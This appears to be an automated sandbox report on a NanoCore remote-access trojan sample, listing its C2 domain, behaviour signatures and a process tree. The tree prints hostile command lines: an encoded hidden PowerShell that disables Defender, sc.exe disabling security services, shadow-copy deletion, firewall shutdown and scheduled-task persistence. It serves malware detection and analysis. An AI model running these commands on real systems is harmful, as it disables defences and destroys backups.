Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/08/2026, 20:15

General

  • Target
    wherein.io_chrome.exe
  • Size 48KB
  • Sample260815-y1yybsshna
  • SHA256 73023c2474a65c525746fad435469fa9dcd847cc87a9d76463e160405d0af76a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://wherein.io

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://wherein.io

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 17 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" http://wherein.io
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:5240
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb2f15c728,0x7ffb2f15c734,0x7ffb2f15c740
        3⤵
          PID:2056
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1556,i,6885168842188762314,10899444732257944540,524288 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2544 /prefetch:3
          3⤵
          • System Time Discovery
          PID:1512
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,387342979349497092,3041119595542410912,262144 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1972 /prefetch:2
          3⤵
            PID:5364
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2200,i,12873818419583105894,17645625474868823249,524288 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2596 /prefetch:8
            3⤵
              PID:4612
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3080,i,10369844058416430719,9817594747601004335,2097152 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3196 /prefetch:1
              3⤵
                PID:5708
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3092,i,17470651594888862865,16767918815602046514,2097152 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3232 /prefetch:1
                3⤵
                  PID:4040
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4308,i,6409344993596669711,10929013058839083093,2097152 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4040 /prefetch:2
                  3⤵
                    PID:2644
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4700,i,1193127254402062943,9971068463276738574,2097152 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4728 /prefetch:1
                    3⤵
                      PID:292
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5168,i,2212151602437186845,15132027754702167122,524288 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5156 /prefetch:8
                      3⤵
                        PID:5340
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5172,i,6826047770152304428,10432292667976775602,524288 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5180 /prefetch:8
                        3⤵
                          PID:4936
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5176,i,8283876907566697293,3308194351361902096,524288 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4864 /prefetch:8
                          3⤵
                            PID:5960
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5772,i,11118347821850735969,1319745229263959314,524288 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5776 /prefetch:8
                            3⤵
                              PID:1172
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4324,i,15653022566297962045,184704660381034302,262144 --field-trial-handle=1976,i,10968981214550873293,6566714930383351493,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4276 /prefetch:8
                              3⤵
                                PID:2032
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
                              2⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5104
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" stop wscsvc
                              2⤵
                              • Launches sc.exe
                              PID:5980
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" config wscsvc start= disabled
                              2⤵
                              • Launches sc.exe
                              PID:3884
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" stop SecurityHealthService
                              2⤵
                              • Launches sc.exe
                              PID:5608
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
                              2⤵
                              • Launches sc.exe
                              PID:1872
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" stop WinDefend
                              2⤵
                              • Launches sc.exe
                              PID:5384
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" config WinDefend start= disabled
                              2⤵
                              • Launches sc.exe
                              PID:1188
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" stop MsMpSvc
                              2⤵
                              • Launches sc.exe
                              PID:5624
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
                              2⤵
                              • Launches sc.exe
                              PID:5996
                            • C:\Windows\System32\fodhelper.exe
                              "C:\Windows\System32\fodhelper.exe"
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3000
                              • C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
                                "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe"
                                3⤵
                                  PID:4360
                              • C:\Windows\System32\sc.exe
                                "C:\Windows\System32\sc.exe" stop wscsvc
                                2⤵
                                • Launches sc.exe
                                PID:5604
                              • C:\Windows\System32\sc.exe
                                "C:\Windows\System32\sc.exe" stop wuauserv
                                2⤵
                                • Launches sc.exe
                                PID:5840
                              • C:\Windows\System32\vssadmin.exe
                                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                2⤵
                                • Interacts with shadow copies
                                PID:1436
                              • C:\Windows\System32\wbem\WMIC.exe
                                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                2⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4600
                              • C:\Windows\System32\wscript.exe
                                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                2⤵
                                • Executes a VBScript file via the Windows Script Host.
                                PID:4984
                              • C:\Windows\System32\schtasks.exe
                                "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe" /sc onlogon /f
                                2⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:6076
                              • C:\Windows\System32\schtasks.exe
                                "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe" /sc minute /mo 30 /f
                                2⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:5244
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
                                2⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:224
                                • C:\Windows\system32\vssadmin.exe
                                  vssadmin delete shadows /all /quiet
                                  3⤵
                                  • Interacts with shadow copies
                                  PID:5724
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic shadowcopy delete
                                  3⤵
                                    PID:1872
                                • C:\Windows\SYSTEM32\cmd.exe
                                  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
                                  2⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:2124
                                  • C:\Windows\system32\systeminfo.exe
                                    systeminfo
                                    3⤵
                                    • Gathers system information
                                    PID:5616
                                • C:\Windows\SYSTEM32\cmd.exe
                                  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
                                  2⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:4900
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist
                                    3⤵
                                    • Discovers running processes
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:5732
                                • C:\Windows\SYSTEM32\cmd.exe
                                  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
                                  2⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:1292
                                  • C:\Windows\system32\whoami.exe
                                    whoami
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2248
                                • C:\Windows\SYSTEM32\cmd.exe
                                  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                                  2⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:3972
                                  • C:\Windows\system32\net.exe
                                    net user
                                    3⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:5716
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user
                                      4⤵
                                        PID:5492
                                  • C:\Windows\SYSTEM32\cmd.exe
                                    "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                                    2⤵
                                    • Executes a command shell one-liner
                                    • Suspicious use of WriteProcessMemory
                                    PID:6140
                                    • C:\Windows\system32\ipconfig.exe
                                      ipconfig /all
                                      3⤵
                                      • Gathers network information
                                      PID:2204
                                  • C:\Windows\SYSTEM32\cmd.exe
                                    "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                                    2⤵
                                    • Executes a command shell one-liner
                                    • Suspicious use of WriteProcessMemory
                                    PID:5304
                                    • C:\Windows\system32\NETSTAT.EXE
                                      netstat -an
                                      3⤵
                                      • Gathers network information
                                      PID:716
                                  • C:\Windows\SYSTEM32\schtasks.exe
                                    "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe" /sc daily /f
                                    2⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:1536
                                  • C:\Windows\System32\wscript.exe
                                    "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                    2⤵
                                    • Executes a VBScript file via the Windows Script Host.
                                    PID:992
                                  • C:\Windows\System32\notepad.exe
                                    "C:\Windows\System32\notepad.exe"
                                    2⤵
                                      PID:5688
                                    • C:\Windows\System32\vssadmin.exe
                                      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                      2⤵
                                      • Interacts with shadow copies
                                      PID:3796
                                    • C:\Windows\System32\wbem\WMIC.exe
                                      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                      2⤵
                                        PID:2744
                                      • C:\Windows\System32\net.exe
                                        "C:\Windows\System32\net.exe" stop srservice
                                        2⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:3420
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 stop srservice
                                          3⤵
                                            PID:4348
                                        • C:\Windows\System32\netsh.exe
                                          "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                          2⤵
                                          • Modifies Windows Firewall
                                          • Event Triggered Execution: Netsh Helper DLL
                                          PID:4848
                                        • C:\Windows\System32\sc.exe
                                          "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                                          2⤵
                                          • Launches sc.exe
                                          PID:3044
                                        • C:\Windows\System32\sc.exe
                                          "C:\Windows\System32\sc.exe" stop i8042prt
                                          2⤵
                                          • Launches sc.exe
                                          PID:3404
                                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                        1⤵
                                          PID:4408
                                        • C:\Windows\system32\vssvc.exe
                                          C:\Windows\system32\vssvc.exe
                                          1⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4712
                                        • C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
                                          C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
                                          1⤵
                                            PID:4408
                                          • C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
                                            C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
                                            1⤵
                                              PID:6072
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                              1⤵
                                                PID:4364

                                              Network

                                                    MITRE ATT&CK Enterprise v16

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                                                    Downloads

                                                    scr_20260815_211732.jpg

                                                    • Path C:\ProgramData\SysUpdate\Scr\scr_20260815_211732.jpg
                                                    • Size 242KB
                                                    • SHA256 48a94ef10c620b5f680d0a47cfae2e961e1296ce321db6eaae764a2df491f439
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    invoice_1.pdf

                                                    • Path C:\ProgramData\invoice_1.pdf
                                                    • Size 65KB
                                                    • SHA256 e042c86e7374a7c5a89e2caf1d825753630a3dbce455a3a0492f81cfa29c23b2
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    doc_3.pdf

                                                    • Path C:\SystemVolumeInformation\doc_3.pdf
                                                    • Size 64KB
                                                    • SHA256 1de4a218c2811ac5bd202c1a73787d3f46fd2c30adf68b564afb8480b9b7e6d8
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    BookmarkMergedSurfaceOrdering

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                                    • Size 6B
                                                    • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                    • MD5 SHA1 SHA512

                                                    BrowsingTopicsState

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                    • Size 414B
                                                    • SHA256 8f7b3db8872978caee4f585d333f7bacd05a683a5bb5928ebb8118a5c9cbd8f3
                                                    • MD5 SHA1 SHA512 TLSH

                                                    the-real-index

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                    • Size 288B
                                                    • SHA256 b72e7fe1dd67ce687df6999456df84b1153d6f84455fcb68a395248581096a17
                                                    • MD5 SHA1 SHA512 TLSH

                                                    the-real-index

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                    • Size 312B
                                                    • SHA256 9bbd45e48d0de04555606df47bb9cacd23281d3cb821543e992d60badbd5aad7
                                                    • MD5 SHA1 SHA512 TLSH

                                                    Network Persistent State

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                    • Size 2KB
                                                    • SHA256 c8213e0dc5ec1e08441aa651b554967ad8a18de5bc8fd0c75ef405e6f6b1381f
                                                    • MD5 SHA1 SHA512 TLSH

                                                    Network Persistent State

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                    • Size 7KB
                                                    • SHA256 0e995c18ad808b64596ae6f675c004adf12e65020db4fc4f150b8aa7fe4d3087
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    Network Persistent State

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                    • Size 6KB
                                                    • SHA256 3ba2b8c8a621551a64b60b656a6571af2acaf49bbeefb332d567a6e301c6b185
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    SCT Auditing Pending Reports

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                    • Size 2B
                                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                    • MD5 SHA1 SHA512

                                                    Preferences

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                    • Size 13KB
                                                    • SHA256 01be8000a4341fd2167f47d7e8061819771dc7a8184e41c2e5c14b84faa2de80
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    Preferences

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                    • Size 12KB
                                                    • SHA256 b7bd439c122c0806b44c70a7f0c7ea19c872808a613e308ac0313b9acec9cd2d
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    Secure Preferences

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                    • Size 16KB
                                                    • SHA256 96680526396d5bb7bc2be329ccea09ff157074d6cba833bf6ceae5e8dd589816
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    index.txt

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\2ed8ce8f769e151abe0ab4a651ce1de975489299\index.txt
                                                    • Size 143B
                                                    • SHA256 f03b5e7da58d832a4cf5d2ac81ec0f6d6f1a87dc026d4bdbe8451730f821eaaf
                                                    • MD5 SHA1 SHA512 TLSH

                                                    index.txt~RFe58c02e.TMP

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\2ed8ce8f769e151abe0ab4a651ce1de975489299\index.txt~RFe58c02e.TMP
                                                    • Size 150B
                                                    • SHA256 ad052ab8c9aeeb53d807b73c9942b9da80b79c2ba7ec83c243e0ed599d0b3200
                                                    • MD5 SHA1 SHA512 TLSH

                                                    the-real-index

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                    • Size 144B
                                                    • SHA256 0eb36d43fc9a0e8fa075f79f0b1a36efea0b88c1e56faa873b9333971fe9a241
                                                    • MD5 SHA1 SHA512 TLSH

                                                    the-real-index~RFe58be4a.TMP

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58be4a.TMP
                                                    • Size 96B
                                                    • SHA256 d3ccc01b9ad500410165da3b64c3961b7bd370e05a38776fc3edb2e2af76b150
                                                    • MD5 SHA1 SHA512 TLSH

                                                    Web Data

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                                    • Size 138KB
                                                    • SHA256 921d9dc511155e8059cd89e6fbd5bff726c8ebfff12d6caff8546142c8a11354
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    Local State

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                    • Size 116KB
                                                    • SHA256 bb9c4603227114446d7a1580d414e4a8970fa20ba16b9e62d70d4358c67e6ad7
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    Local State

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                    • Size 115KB
                                                    • SHA256 2e59a4e9430da417df011e76ebf4660100a6de140e5c5f9579739eb8c71baccb
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    Local State

                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                    • Size 239KB
